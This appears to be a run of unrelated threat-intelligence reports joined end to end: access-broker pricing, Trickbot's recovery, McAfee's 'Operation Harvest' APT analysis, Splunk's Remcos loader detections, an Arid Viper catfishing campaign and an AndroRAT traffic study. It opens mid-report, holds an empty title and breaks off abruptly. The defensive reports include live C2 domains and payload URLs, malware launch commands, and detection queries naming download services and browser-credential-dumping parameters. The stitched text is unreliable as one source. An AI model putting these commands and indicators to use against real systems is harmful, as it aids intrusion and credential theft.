Several factors determine the worth of access, and asking prices vary significantly among sectors, countries, and access brokers. Access with elevated privileges typically attracts a higher asking price, as does access to large corporations with higher annual revenues or advertisements by more-established access brokers. Some brokers auction the access, offering a “buy-it-now” price or attempting to encourage a bidding war.
The sectors attracting the highest average asking price for access were government, financial services, and industrial and engineering organizations. The most advertised sector does not necessarily attract the highest asking price; for example, access to the academic sector was, on average, priced at $3,827 USD. In comparison, the government sector — which was the second most advertised — attracted an average asking price of $6,151 USD.
Organizations based in the U.S., the UK, and Canada on average attracted higher asking prices than other countries, reflecting the demand in targeting these locations. It is worth noting that the advertised price is not necessarily what’s paid, and the majority of access brokers appear open to negotiation.
Fluctuations in asking prices are also common and often reactive to the market. CrowdStrike reported an increase in asking price among access brokers in April 2021, with some corporate entities attracting five-figure sums, indicating that threat actors likely receive a significant return on their investment. When the same access is being advertised by two different access brokers, variations in the asking price are also observed.
## Conclusion
The advertisements provide an interesting snapshot of an increasingly lucrative component of the eCrime ecosystem, where reputation and timing both play important roles. There is almost certainly an opportunistic element to access broker operations, such as the availability of exploitable vulnerabilities or the validity of stolen credentials that facilitate intrusions.
The fallout from the Colonial Pipeline incident and its impact on access brokers’ sales appears to have been short-lived, as in Q4 2021 and Q1 2022 CrowdStrike Intelligence has witnessed a resurgence in advertisements and the emergence of new brokers. Purchasing access saves time and resources for many eCrime adversaries, and the demand for these is almost certain to remain high throughout 2022. |
# Trickbot Up to Its Old Tricks
Oct 16, 2020 By Dennis Fisher
Just a few days after Microsoft and a coalition of security firms took action against the infrastructure used by the Trickbot malware operators, taking control of command-and-control servers and locking down the malicious content on them, the botnet has bounced back and is humming right along with new C2 servers in several European and South American countries.
On Monday, Microsoft announced a coordinated takedown operation aimed at disrupting the Trickbot botnet, a global malware distribution and operation network that has been operating since at least 2016. The takedown involved Microsoft obtaining court orders to seize control of some Trickbot C2 servers based in the United States and also filing a copyright infringement claim against the operators for misusing Microsoft’s software. The operation follows a familiar road map that security companies and law enforcement agencies have used to target botnets for more than a decade, targeting the C2 infrastructure to cut off communications between infected machines and the Trickbot operators.
This method has worked well in some cases, but cybercrime groups have paid attention and taken steps to ensure that their infrastructure is resilient and can survive a takedown attempt. In the case of Trickbot, the operators have already set up a new fleet of C2 servers outside the U.S., many of them in Germany, and others in the Netherlands, Colombia, Russia, and Indonesia. These are the first layer of command servers that infected machines reach out to, with other layers of control behind them. Unlike other botnets that use virtual private servers on bulletproof hosting services for C2, the current crop of Trickbot control servers are housed on compromised MikroTik consumer routers.
“It was a very well set up network and geographically distributed to make it hard to take down. Microsoft’s action only affected the servers in the U.S., and it didn’t surprise me at all to see new control servers pop up this quickly,” said Mark Arena, CEO of Intel 471, a security firm that tracks Trickbot activity closely. “They’ve learned from previous takedowns because Microsoft and others have used these tactics before.”
The Trickbot malware is often associated with the Emotet loader and recently, the Ryuk ransomware. The operators of Trickbot sell access to infected machines to other cybercrime groups, especially high-level groups that have established reputations in the cybercrime underground. Those sales are not just limited to underground groups, however. This past summer, Intel 471 published research demonstrating a link between Trickbot and an attack group known as Lazarus that is tied to the North Korean government. In the linked operations, it appears that the Trickbot group sold access to compromised machines and networks to DPRK actors, who then used that access for their own purposes.
“TrickBot certainly appears to be a source of compromised accesses that DPRK threat actors can leverage. The operators or users of TrickBot seem to be well-versed in identifying interesting organizations they’ve compromised for follow-up intrusion activity, be it through Anchor or common intrusion tools (Metasploit, Cobalt Strike, BloodHound, Empire, etc.), or to pass off or sell to other threat actors, i.e., DPRK threat actors,” the research report says.
Within a few days of the Microsoft takedown operation this week, researchers observed the Emotet botnet, which sends malicious spam, delivering new spam templates to infected machines. Those templates included malicious documents that eventually loaded the Emotet trojan, which then contacted a C2 server to download and run Trickbot. Business as usual.
But that doesn’t mean the actions by Microsoft and the U.S. Cyber Command, which reportedly has been running its own effort to disrupt Trickbot, were futile. “From a company perspective, it’s hard for this to be effective unless you’re willing to go on the offensive like Cyber Command,” Arena said. “But it’s good for the U.S. to be seen as a hard target for these groups.” |
# Operation ‘Harvest’: A Deep Dive into a Long-term Campaign
## Executive Summary
Following a recent Incident Response, McAfee Enterprise‘s Advanced Threat Research (ATR) team worked with its Professional Services IR team to support a case that initially started as a malware incident but ultimately turned out to be a long-term cyber-attack. From a cyber-intelligence perspective, one of the biggest challenges is having information on the tools, techniques, and procedures (TTPs) an adversary is using and then keeping them up to date. Within ATR, we typically monitor many adversaries for years and collect and store data, ranging from indicators of compromise (IOCs) to the TTPs.
In this report, ATR provides a deep insight into this long-term campaign where we will map out our findings against the Enterprise MITRE ATT&CK model. There will be parts that are censored since we respect the confidentiality of the victim. We will also zoom in and look at how the translation to the MITRE Techniques, historical context, and evidence artifacts like PlugX and Winnti malware led to a link with another campaign, which we highly trust to be executed by the same adversary.
IOCs that could be shared are at the end of this document. McAfee customers are protected from the malware/tools described in this blog. MVISION Insights customers will have the full details, IOCs, and TTPs shared via their dashboard. MVISION Endpoint, EDR, and UCE platforms provide signature and behavior-based prevention and detection capability for many of the techniques used in this attack. A more detailed blog with specific recommendations on using the McAfee portfolio and integrated partner solutions to defend against this attack can be found here.
## Technical Analysis
### Initial Infection Vectors [TA0001]
Forensic investigations identified that the actor established initial access by compromising the victim’s web server [T1190]. On the webserver, software was installed to maintain the presence and storage of tools [T1105] that would be used to gather information about the victim’s network [T1083] and lateral movement/execution of files [T1570] [T1569.002]. Examples of the tools discovered are PSexec, Procdump, and Mimikatz.
### Privilege Escalation and Persistence [TA0004, TA0003]
The adversary has been observed using multiple privilege escalation and persistence techniques during the period of investigation and presence in the network. We will highlight a few in each category. Besides the use of Mimikatz to dump credentials, the adversaries used two tools for privilege escalations [T1068]. One of the tools was “RottenPotato”. This is an open-source tool that is used to get a handle to a privileged token, for example, “NT AUTHORITY\SYSTEM”, to be able to execute tasks with System rights.
The second tool discovered, “BadPotato”, is another open-source tool that can be used to elevate user rights towards System rights. The BadPotato code can be found on GitHub where it is offered as a Visual Studio project. We inspected the adversary’s compiled version using DotPeek and hunted for artifacts in the code. Inspecting the File (COFF) header, we observed the file’s compilation timestamp: TimeDateStamp: 05/12/2020 08:23:47 – Date and time the image was created.
### PlugX
Another major and characteristic privilege escalation technique the adversary used in this long-term campaign was the malware PlugX as a backdoor. PlugX makes use of the technique “DLL Sideloading” [T1574.002]. PlugX was observed as usual where a single (RAR) executable contained the three parts:
- Valid executable.
- Associated DLL with the hook towards the payload.
- Payload file with the config to communicate with Command & Control Server (C2).
The adversary used either the standalone version or distributed three files on different assets in the network to gain remote control of those assets. The samples discovered and analyzed were communicating towards two domains. Both domains were registered during the time of the campaign.
One of the PlugX samples consisted of the following three parts:
| Filename | Hashes |
|------------------------|------------------------------------------------------------------------|
| HPCustPartic.exe | SHA256: 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6 |
| HPCustPartUI.dll | SHA256: 0ee5b19ea38bb52d8ba4c7f05fa1ddf95a4f9c2c93b05aa887c5854653248560 |
| HPCustPartic.bin | SHA256: 008f7b98c2453507c45dacd4a7a7c1b372b5fafc9945db214c622c8d21d29775 |
The .exe file is a valid and signed executable and, in this case, an executable from HP (HP Customer participation). We also observed other valid executables being used, ranging from AV vendors to video software. When the executable is run, the DLL next to it is loaded. The DLL is valid but contains a small hook towards the payload which, in our case, is the .bin file. The DLL loads the PlugX config and injects it into a process.
We executed the samples in a test setup and dumped the memory of the machine to conduct memory analysis with volatility. After the basic forensically sound steps, we ran the malfind plugin to detect possible injected code in a process. From the redacted output of the plugin, we observed the following values for the process with possible injected code:
- Process: svchost.exe Pid: 860 Address: 0xb50000
- Process: explorer.exe Pid: 2752 Address: 0x56a000
- Process: svchost.exe Pid: 1176 Address: 0x80000
- Process: svchost.exe Pid: 1176 Address: 0x190000
- Process: rundll32.exe Pid: 3784 Address: 0xd0000
- Process: rundll32.exe Pid: 3784 Address: 0x220000
One observation is the mention of the SVCHOST process with a ProcessID value of 1176 that is mentioned twice but with different addresses. This is similar to the RUNDLL32.exe that is mentioned twice with PID 3785 and different addresses. One way to identify what malware may have been used is to dump these processes with the relevant PID using the procdump module, upload them to an online analysis service and wait for the results. Since this is a very sensitive case, we took a different approach. Using the best of both worlds (volatility and Yara) we used a ruleset that consists of malware patterns observed in memory over time. Running this ruleset over the data in the memory dump revealed the following (redacted for the sake of readability) output:
The output of the Yara rule scan (and there was way more output) confirmed the presence of PlugX module code in PID 1176 of the SVCHOST service. Also, the rule was triggered on PID 3784, which belonged to RUNDLL32.exe.
Investigating the dumps after dynamic analysis, we observed two domain names used for C2 traffic:
- brushupdata.com
- brushupdata.com
In particular, we saw the following hardcoded value that might be another payload being downloaded: sery.brushupdata.com/CE1BC21B4340FEC2B8663B69. The PlugX families we observed used DNS [T1071.001] [T1071.004] as the transport channel for C2 traffic, in particular TXT queries. Investigating the traffic from our samples, we observed the check-in-signature (“20 2A 2F 2A 0D”) that is typical for PlugX network traffic.
During our analysis of the different PlugX samples discovered, the domain names as mentioned above stayed the same, though the payload values were different. For example:
- hxxp://sery.brushupdata.com/B4BBDCC029E119719F065622
- hxxp://sery.brushupdata.com/07FDB1B97D22EE6AF2482B1B
- hxxp://sery.brushupdata.com/273CDC0B9C6218BC1187556D
Other PlugX samples we observed injected themselves into Windows Media Player and started a connection with the following two domains:
- asmlbigip.com
- asmlbigip.com
### Hello Winnti
Another mechanism observed was to start a program as a service [T1543.003] on the Operating System with the acquired System rights by using the *Potato tools. The file the adversary was using seemed to be a backdoor that was using the DLL file format (2458562ca2f6fabddae8385cb817c172). The DLL is used to create a malicious service and its name is “service.dll”. The name of the created service, “SysmainUpdate”, is usurping the name of the legitimate service “SysMain” which is related to the legitimate DLL sysmain.dll and also to the Superfetch service. The dll is run using the command “rundll32.exe SuperFrtch.dll, #1”. The export function has the name “WwanSvcMain”.
The model uses the persistence technique utilizing svchost.exe with service.dll to install a rogue service. It appears that the dll employs several mechanisms to fingerprint the targeted system and avoid analysis in the sandbox, making analysis more difficult. The DLL embeds several obfuscated strings decoded when running. Once the fingerprinting has been done, the malware will install the malicious service using the API RegisterServiceHandlerA then SetServiceStatus, and finally CreateEventA.
When we analyzed this unique routine, we discovered similarities and the mention of it in a publication that can be read here. The malware described in the article is attributed to the Winnti malware family. The operating method and the code used in the DLL described in the article are very similar to our analysis and observations.
The process dump also revealed further indicators. Firstly, it revealed artifacts related to the DLL analyzed, “C:\ProgramData\Microsoft\Windows\SuperfRtch\SuperfRtch.dat”. We believe that this dat file might be the loaded payload. Secondly, while investigating the process dump, we observed activities from the backdoor that are part of the data exfiltration attempts which we will describe in more detail in this analysis report.
### Data Exfiltration
From what we observed, the adversary had a long-term intention to stay present in the victim’s network. With high confidence, we believe that the adversary was interested in stealing proprietary intelligence that could be used for military or intellectual property/manufacturing purposes. The adversary used several techniques to exfiltrate the data. In some cases, batch (.bat) scripts were created to gather information from certain network shares/folders and use the ‘rar’ tool to compress them to a certain size [T1020] [T1030].
On other occasions, manual variants of the above command were discovered after using the custom backdoor as described earlier. When the data was gathered on a local system using the backdoor, the files were exfiltrated over the backdoor and the rar files were deleted [T1070.004]. Where external facing assets were used, like a web server, the data was stored in a location in the Internet Information Services (IIS) web server and exfiltrated over HTTP using GET requests towards the exact file paths [T1041] [T1567] [T1071].
### Conclusion
Operation Harvest has been a long-term operation whereby an adversary maintained access for multiple years to exfiltrate data. The exfiltrated data would have either been part of an intellectual property theft for economic purposes and/or would have provided insights that would be beneficial in case of military interventions. The adversaries made use of techniques very often observed in this kind of attack but also used distinctive new backdoors or variants of existing malware families. Combining all forensic artifacts and cross-correlation with historical and geopolitical data, we have high confidence that this operation was executed by an experienced APT actor.
After mapping out all data, TTP’s etc., we discovered a very strong overlap with a campaign observed in 2019/2020. A lot of the (in-depth) technical indicators and techniques match. Also putting it into perspective, and over time, it demonstrates the adversary is adapting skills and evolving the tools and techniques being used.
### MITRE ATT&CK Techniques
| Technique ID | Technique Title | Context Campaign |
|--------------|------------------|------------------|
| T1190 | Exploit Public-facing application | Adversary exploited a web-facing server with application |
| T1105 | Ingress Tool transfer | Tools were transferred to a compromised web-facing server |
| T1083 | File & Directory Discovery | Adversary browsed several locations to search for the data they were after. |
| T1570 | Lateral Tool Transfer | Adversary transferred tools/backdoors to maintain persistence |
| T1569.002 | System Services: Service Execution | Adversary installed custom backdoor as a service |
| T1068 | The exploitation of Privilege | Adversary used Rotten/Bad Potato to elevate user rights by abusing API calls in the Operating System. |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Adversary used PlugX malware that is famous for DLL-Side-Loading using a valid executable, a DLL with the hook towards a payload file. |
| T1543.003 | Create or Modify System Process: Windows Service | Adversary launched backdoor and some tools as a Windows Service including adding of registry keys |
| T1546.003 | Event-Triggered Execution: WMI Event Subscription | WMI was used for running commands on remote systems |
| T1053.005 | Scheduled task | Adversary ran scheduled tasks for persistence of certain malware samples |
| T1078 | Valid accounts | Using Mimikatz and dumping of lsass, the adversary gained credentials in the network |
| T1020 | Automated exfiltration | The PlugX malware exfiltrated data towards a C2 and received commands to gather more information about the victim’s compromised host. |
| T1030 | Data transfer size limits | Adversary limited the size of rar files for exfiltration |
| T1070.004 | Indicator removal on host | Where in the beginning of the campaign the adversary was sloppy, during the last months of activity they became more careful and started to remove evidence |
| T1041 | Exfiltration over C2 channel | Adversary used several C2 domains to interact with compromised hosts. |
| T1567 | Exfiltration over Web Service | Gathered information was stored as ‘rar’ files on the internet-facing server, whereafter they were downloaded by a specific IP range. |
| T1071.004 | Application layer protocol: DNS | Using DNS tunneling for the C2 traffic of the PlugX malware |
### Indicators of Compromise (IOCs)
**Operation Harvest:**
- PlugX C2:
- sery(.)brushupdata(.)com
- Dnssery(.)brushupdata(.)com
- Center(.)asmlbigip(.)com
- Tools:
- Mimikatz
- PsExec
- RottenPotato
- BadPotato
**Operation 2019/2020:**
- PlugX malware:
- f50de0fae860a5fd780d953a8af07450661458646293bfd0fed81a1ff9eb4498
- 26e448fe1105b5dadae9b7607e3cca366c6ba8eccf5b6efe67b87c312651db01
- e9033a5db456af922a82e1d44afc3e8e4a5732efde3e9461c1d8f7629aa55caf
- 3124fcb79da0bdf9d0d1995e37b06f7929d83c1c4b60e38c104743be71170efe
- Winnti:
- 800238bc27ca94279c7562f1f70241ef3a37937c15d051894472e97852ebe9f4
- c3c8f6befa32edd09de3018a7be7f0b7144702cb7c626f9d8d8d9a77e201d104
- df951bf75770b0f597f0296a644d96fbe9a3a8c556f4d2a2479a7bad39e7ad5f
- Winnti C2: 185.161.211.97
**Tools:**
- PSW64
- NTDSDumpEx
- NBTSCAN
- NetSess
- Smbexec
- Wmiexec
- Mimikatz
- RAR command-line
- TCPdump |
# Detecting Malware Script Loaders using Remcos: Threat Research Release December 2021
By Splunk Threat Research Team January 10, 2022
Nowadays, malware used to have several stages before it fully compromised the targeted host or machine. The very well-known initial stager is the “phishing email” that contains a malicious macro code or malicious URL link that will download either the actual loader or the next stager to download the actual payload. This particular sample makes the detection and analysis of the adversary behavior more challenging. The most prevalent loaders seen in the wild are window scripting languages, JScript (.js), and VBScript (.vbs). These scripts are easy to obfuscate and encrypt in order to bypass detection and preventative controls; therefore, many adversaries use this methodology.
In this blog, Splunk Threat Research (STRT) will discuss a Remcos loader that utilizes DynamicWrapperX (dynwrapx.dll) to execute shellcode and inject Remcos RAT into the target process. Ultimately STRT covers what Splunk Security Content detections find behaviors and TTPs that apply to the DynamicWrapperX Loader.
## The Initial Downloader
This Remcos sample loader starts with a simple VBScript that attempts to download the second VBScript from paste.ee. The script on paste.ee is the main loader of Remcos. STRT has witnessed the script stay online up to a few weeks between major campaign changes. Paste.ee offers multiple options to automatically take down code between hours up to a year.
## The VBScript Main Remcos Loader
### Detection Evasion
STRT found the script loader interesting in how it tries to evade inspection by preventative controls by embedding a large amount of normal script code and comments at the beginning and end of the loader. For example, the code in lines 120-150 pertains to Microsoft “pubprn.vbs,” a script designed to publish printers within active directory domain services. Skimming over the code quickly gives it away that shellcode is embedded inside.
### Preparation of Payload
Now that the loader has downloaded the next stage from paste.ee, this VBScript will prepare several payloads and eventually load the actual Remcos malicious software. First, it will decode the actual Remcos RAT, then extract the dynwrapx.dll (used to load the shellcode), and finally the shellcode. It will also initialize the file path of (c:\windows\winhlp32.exe) which is the target process to inject Remcos RAT.
### VBScript Execution in x64 Bit
This script also has a function to check what OS architecture type the infected host has using WMI (Windows Management Instrumentation - T1047). If it is an x64 host, it will run the VBScript using the command format “wscript /b /e:vbscript <vbscript filename>”.
## The Shellcode - Process Injection
The decoded shellcode uses pre-computed API hashes to dynamically resolve its API import in order to inject the Remcos malware into a targeted process on the host. The last WriteProcessMemory API and the ResumeThread API calls are used to write and subsequently execute the Remcos RAT in the target process where it injects its code.
## DynamicWrapperX - ShellCode Execution
To execute the shellcode for Remcos via process injection, it first decodes and drops “dynwrapx.dll” in the %temp% folder and loads/installs it using Regsvr32 install silent parameter (“regsvr32 /I /S”). This DLL will give the VBScript access to the “DynamicWrapperX” Object to load 2 more windows DLL modules named user32.dll and kernel32.dll to allocate memory and execute the shellcode. Using VirtualAlloc API call, it will allocate a region of memory for the Remcos malware and shellcode. This memory address will be passed as an argument in CallWindowProcW API to load the shellcode to inject Remcos RAT to the target process, which is WinHlp32.exe.
## Where is Remcos Going?
Using VirusTotal behavior to analyze this sample further, STRT searched for a pattern of behavior that spawned winhlp32.exe and used regsvr32.exe to load dynwrapx.dll. STRT crafted this VirusTotal behavior query:
```
behavior:"\"%windir%\\System32\\regsvr32.exe\" /I /S \"%TEMP%\\dynwrapx.dll\""
behavior:"\"%windir%\\winhlp32.exe\""
```
This uncovered an interesting pattern that began 9/12/2021 from Argentina which matched the same behavior as our original sample. Each upload contained a different section of the final sample. STRT speculates the adversary was testing their code against antivirus engines. After the first few “testing” uploads occurred, it was followed up with actual active campaigns with complete Remcos loaders.
Following using winhlp32.exe, STRT noticed it shifted to using installutil.exe. With installutil.exe, the pattern is very similar. The biggest difference STRT noticed was, during the VBScript execution, unlike winhlp32.exe, installutil.exe did not load dynwrapx.dll.
## Additional Queries
STRT generated a few additional queries that helped us to holistically look for other samples, providing insight into further behaviors, but also the visibility into how much interaction and changes go into each campaign.
## VT Correlation Graph of Remcos
The following VT Correlation Graph shows us the affected countries by this Remcos campaign, the number of C2 servers connections it made to download other malware or its components. Even some interesting infection chain vectors like dropping .lnk file and downloading components from its C2.
## Remcos Analytic Story
The update on the analytic story introduced 21 new and 5 modified detections. In this section, we describe some of these analytics.
### Suspicious Process DNS Query Known Abuse Web Services
Detects a suspicious process making a DNS query via known abuse text paste web services, or VoIP, instant messaging, and digital distribution platform to use to download external files. This technique is abused by adversaries, malware actors, and red teams to download a malicious file on the target host. This is a good TTP indicator for possible initial access techniques. A user will experience false positives if the following instant messaging is allowed or common applications like telegram, discord are allowed in the corporate network.
```
`sysmon` EventCode=22 QueryName IN ("*pastebin*", "*discord*", "*telegram*", "*t.me*")
process_name IN ("cmd.exe", "*powershell*", "pwsh.exe", "wscript.exe", "cscript.exe")
| stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
```
### Loading Of Dynwrapx Module
DynamicWrapperX is an ActiveX component that can be used in a VBScript to call Windows API functions, but it requires the dynwrapx.dll to be installed and registered. With that, registering or loading dynwrapx.dll to a host is highly suspicious. In most instances when it is maliciously used, the best way to triage is to review parallel processes and pivot on the process_guid. Review the registry for any suspicious modifications meant to load dynwrapx.dll. Identify any suspicious module loads of dynwrapx.dll. This detection will return and identify the processes that invoke vbs/wscript/cscript.
```
`sysmon` EventCode=7 (ImageLoaded = "*\\dynwrapx.dll" OR OriginalFileName = "dynwrapx.dll" OR Product = "DynamicWrapperX")
| stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName Product process_name Computer EventCode Signed ProcessId
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`
```
### System Info Gathering Using Dxdiag Application
Detects a suspicious dxdiag.exe process command-line execution. Dxdiag is used to collect the system info of the target host. This technique was seen used by Remcos RATS, various actors, and other malware to collect information as part of the recon or collection phase of an attack. This behavior should be rarely seen in a corporate network, but this command line can be used by a network administrator to audit host machine specifications. Thus in some rare cases, this detection will contain false positives in its results. To triage further, analyze what commands were passed after it pipes out the result to a file for further processing.
```
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_dxdiag` AND Processes.process = "* /t *" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id
| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
```
### Possible Browser Pass View Parameter
Detects a suspicious process that contains command-line parameters related to a web browser credential dumper. This technique is used by Remcos RAT malware where it uses the Nirsoft webbrowserpassview.exe application to dump web browser credentials. Remcos uses the "/stext" command line to dump the credential in text format. This Hunting query is a good indicator of hosts suffering from possible Remcos RAT infection.
```
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN ("*/stext*", "*/shtml *", "*/LoadPasswordsIE*", "*/LoadPasswordsFirefox*", "*/LoadPasswordsChrome*", "*/LoadPasswordsOpera*", "*/LoadPasswordsSafari*", "*/UseOperaPasswordFile*", "*/OperaPasswordFile*", "*/stab*", "*/scomma*", "*/stabular*", "*/shtml*", "*/sverhtml*", "*/sxml*", "*/skeepass*") AND Processes.process IN ("*\\temp\\*", "*\\users\\public\\*", "*\\programdata\\*") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name
| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
```
## Hashes
| Filename | Hashes - sha256 |
|------------------|---------------------------------------------------------------------------------|
| invoice.vbs | cb77b93150cb0f7fe65ce8a7e2a5781e727419451355a7736db84109fa215a89 |
| remcos.dll | ff169ae934b92a2dfe78f4793c60256d4f36992a0e1218ed6b6d59b3809ed210 |
| dynwrapx.dll | 4ef3a6703abc6b2b8e2cac3031c1e5b86fe8b377fde92737349ee52bd2604379 |
| shellcode | c344723295279aaaf2a4220a77d74db903985264cf3adfba5015f9f31f0dddec |
| Stage1.vbs | cb77b93150cb0f7fe65ce8a7e2a5781e727419451355a7736db84109fa215a89 (download stage2 in pastebin) |
## Automating with SOAR Playbooks
The following community Splunk SOAR playbooks mentioned below can be used in conjunction with some of the previously described analytics:
| Name | Description |
|------------------|-----------------------------------------------------------------------------|
| Malware Hunt And Contain | This playbook hunts for malware across managed endpoints, disables affected users, shuts down their devices, and blocks files by their hash from further execution via Carbon Black. |
| Email Notification for Malware | This playbook tries to determine if a file is malware and whether or not the file is present on any managed machines. VirusTotal "file reputation" and PANW WildFire "detonate file" are used to determine if a file is malware, and CarbonBlack Response "hunt file" is used to search managed machines for the file. The results of these investigations are summarized in an email to the incident response team. |
| Block Indicators | This playbook retrieves IP addresses, domains, and file hashes, blocks them on various services, and adds them to specific blocklists as custom lists. |
## Why Should You Care?
This blog shows how vbscript and jscript are leveraged by all sorts of offensive actors including penetration testing consultants, cybercrime actors, and cyber espionage actors in process injection and shellcode execution. Unlike binary malware loaders, malware loader scripts are very flexible in terms of updates, encryption, and also code obfuscation to bypass detections. According to unit42’s 2020 article, script-based malware is one of the new attacker trends and it keeps on evolving and improving as part of the malware tooling ecosystem. Cyber Defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to suspicious script execution, process injection, and suspicious use of text paste web service in their corporate or server networks. |
# Hamas-linked Hackers Targeting High-Ranking Israelis Using 'Catfish' Lures
A threat actor with affiliations to the cyber warfare division of Hamas has been linked to an "elaborate campaign" targeting high-profile Israeli individuals employed in sensitive defense, law enforcement, and emergency services organizations.
"The campaign operators use sophisticated social engineering techniques, ultimately aimed to deliver previously undocumented backdoors for Windows and Android devices," cybersecurity company Cybereason said in a Wednesday report. "The goal behind the attack was to extract sensitive information from the victims' devices for espionage purposes."
The monthslong intrusions, codenamed "Operation Bearded Barbie," have been attributed to an Arabic-speaking and politically-motivated group called Arid Viper, which operates out of the Middle East and is also known by the monikers APT-C-23 and Desert Falcon.
Most recently, the threat actor was held responsible for attacks aimed at Palestinian activists and entities starting around October 2021 using politically-themed phishing emails and decoy documents.
The latest infiltrations are notable for their specific focus on plundering information from computers and mobile devices belonging to Israeli individuals by luring them into downloading trojanized messaging apps, granting the actors unfettered access.
The social engineering attacks involved the use of fake personas on Facebook, relying on the tactic of catfishing to set up fictitious profiles of attractive young women to gain the trust of the targeted individuals and befriend them on the platform.
"After gaining the victim's trust, the operator of the fake account suggests migrating the conversation from Facebook over to WhatsApp," the researchers elaborated. "By doing so, the operator quickly obtains the target's mobile number."
Once the chat shifts from Facebook to WhatsApp, the attackers suggest the victims install a secure messaging app for Android (dubbed "VolatileVenom") as well as open a RAR archive file containing explicit sexual content that leads to the deployment of a malware downloader called Barb(ie).
Other hallmarks of the campaign have included the group leveraging an upgraded arsenal of malware tools, including the BarbWire Backdoor, which is installed by the downloader module. The malware serves as a tool to completely compromise the victim machine, allowing it to establish persistence, harvest stored information, record audio, capture screenshots, and download additional payloads, all of which is transmitted back to a remote server.
VolatileVenom, on the other hand, is Android spyware that's known to spoof legitimate messaging apps and masquerade as system updates and which has been put to use in different campaigns by Arid Viper since at least 2017.
One such example of a rogue Android app is called "Wink Chat," where victims attempting to sign up to use the application are presented an error message that "it will be uninstalled," only for it to stealthily run in the background and extract a wide variety of data from the mobile devices.
"The attackers use a completely new infrastructure that is distinct from the known infrastructure used to target Palestinians and other Arabic-speakers," the researchers said. "This campaign shows a considerable step-up in APT-C-23 capabilities, with upgraded stealth, more sophisticated malware, and perfection of their social engineering techniques which involve offensive HUMINT capabilities using a very active and well-groomed network of fake Facebook accounts that have been proven quite effective for the group." |
# PHA Family Highlights: Bread (and Friends) |
# Dissecting a RAT: Analysis of the AndroRAT
This blog post was authored by Kamila Babayeva (@_kamifai_) and Sebastian Garcia (@eldracote). The RAT analysis research is part of the Civilsphere Project, which aims to protect civil society at risk by understanding how attacks work and how we can stop them.
This is the fourth blog of a series analyzing the network traffic of Android RATs from our Android Mischief Dataset, a dataset of network traffic from Android phones infected with Remote Access Trojans (RAT). In this blog post, we provide the analysis of the network traffic of the RAT05-AndroRAT. The previous blogs analyzed Android Tester RAT, DroidJack RAT, and SpyMax RAT.
## RAT Details and Execution Setup
The goal of each of our RAT experiments is to configure and execute the RAT software and to do every possible action while capturing all traffic and storing all logs. These RAT captures are functional and used as in real attacks.
The AndroRAT RAT is a software package that contains the controller software and builder software to create an APK. We executed the builder on a Windows 7 Virtualbox virtual machine with Ubuntu 20.04 as a host. The Android Application Package (APK) built by the RAT builder was installed in an Android virtual emulator called Genymotion with Android version 8.
While performing different actions on the RAT controller (e.g., upload a file, get GPS location, monitor files, etc.), we captured the network traffic on the Android virtual emulator. The network traffic from the phone was captured using Emergency VPN.
The details about the network traffic capture are:
- The controller IP address: 147.32.83.234
- The phone IP address: 10.8.0.137
- UTC time of the infection in the capture: 2020-09-10 15:18:00 UTC
## Initial Communication and Infection
Once the APK was installed on the phone, it directly tries to establish a TCP connection with the command and control (C&C) server. To connect, the phone uses the IP address and the port of the controller specified in the APK. In our case, the IP address of the controller is 147.32.83.234 and the port is 1337/TCP. The controller IP 147.32.83.234 is the IP address of a Windows 7 virtual machine in our lab computer, meaning that the IP address is not connected to any known indicator of compromise (IoC).
After establishing the first connection, the phone sends its first packet with some parameters, such as SIM card operator, phone number, SIM card serial number, IMEI, etc. It can be seen that the data is sent in plaintext and the character ‘t’ is used as the delimiters to separate parameters name and values. From the packet structure, it can also be defined that APK uses the Java Hashtable class to store and send parameters.
After the initial connection by the phone, the command and control server shows the phone in its interface.
## C&C Command Packet Structure
After the first connection, the phone is waiting for the C&C command. To send the command from the C&C, a special panel on the C&C interface should be opened by double-clicking on the infected device. When the attacker using the C&C interface enters this panel, the C&C server sends two commands to the phone.
Since the structure of these packets is not clear, we tried to understand what these commands mean by reverse engineering the APK that was used to infect the victim’s phone. The analysis shows that each C&C command is mapped to a single character that represents this command.
Each C&C command packet has a 15 bytes long header. The header contains:
- byteTotalLength: 4 bytes
- byteLocalLength: 4 bytes
- byteMoreF: 1 byte
- bytePointeurData: 2 bytes
- byteChannel: 4 bytes
The header structure was learned from the Java code of the APK for the function dataHeaderGenerator, which creates a header for the packet data. This header is used for the packets sent from the C&C and the phone.
After the 15 byte long header, the C&C sends commands using the following data structure:
- command: 2 bytes
- targetChannel: 4 bytes
- argument: remaining data packet length
Considering the analysis above, we can explain the packets sent. The packet from the first command has a specific structure, and we can analyze its meaning based on the mapping of the C&C commands.
## Victim Phone Packet Structure
The phone answers to the C&C command ‘getPreferences’ and the command ‘Advanced informations’ with its own packets. The structure of the packets sent from the phone is different from the C&C command packet structure. The packet structure the function uses is the following:
- header: 15 bytes
- data: no more than 2033 bytes
If the data length exceeds the limit of 2033 bytes, the data will be fragmented into more packets. Each packet will have a separate 15 bytes long header and will be fragmented with a length of 2033 bytes or less.
Using this structure, we can now interpret the packets sent by the phone. The phone sends data about the battery status, phone info, and wifi information to answer the C&C command ‘Advanced Information’.
## Example of C&C Commands and Phone Answers
The first command sent by the C&C is ‘Toast hello’. The C&C command sent has the value 00 6d in hexadecimal or 109 in decimal representation. We can confirm that this mapping responds to the command ‘Toast’.
‘Toast hello’ was successfully performed on the phone. The phone in return did not send any confirmation of the successful operation. Only for the C&C commands that require the phone to send information (e.g., file, call, sms), the phone sends the packet with the confirmation of receiving the command.
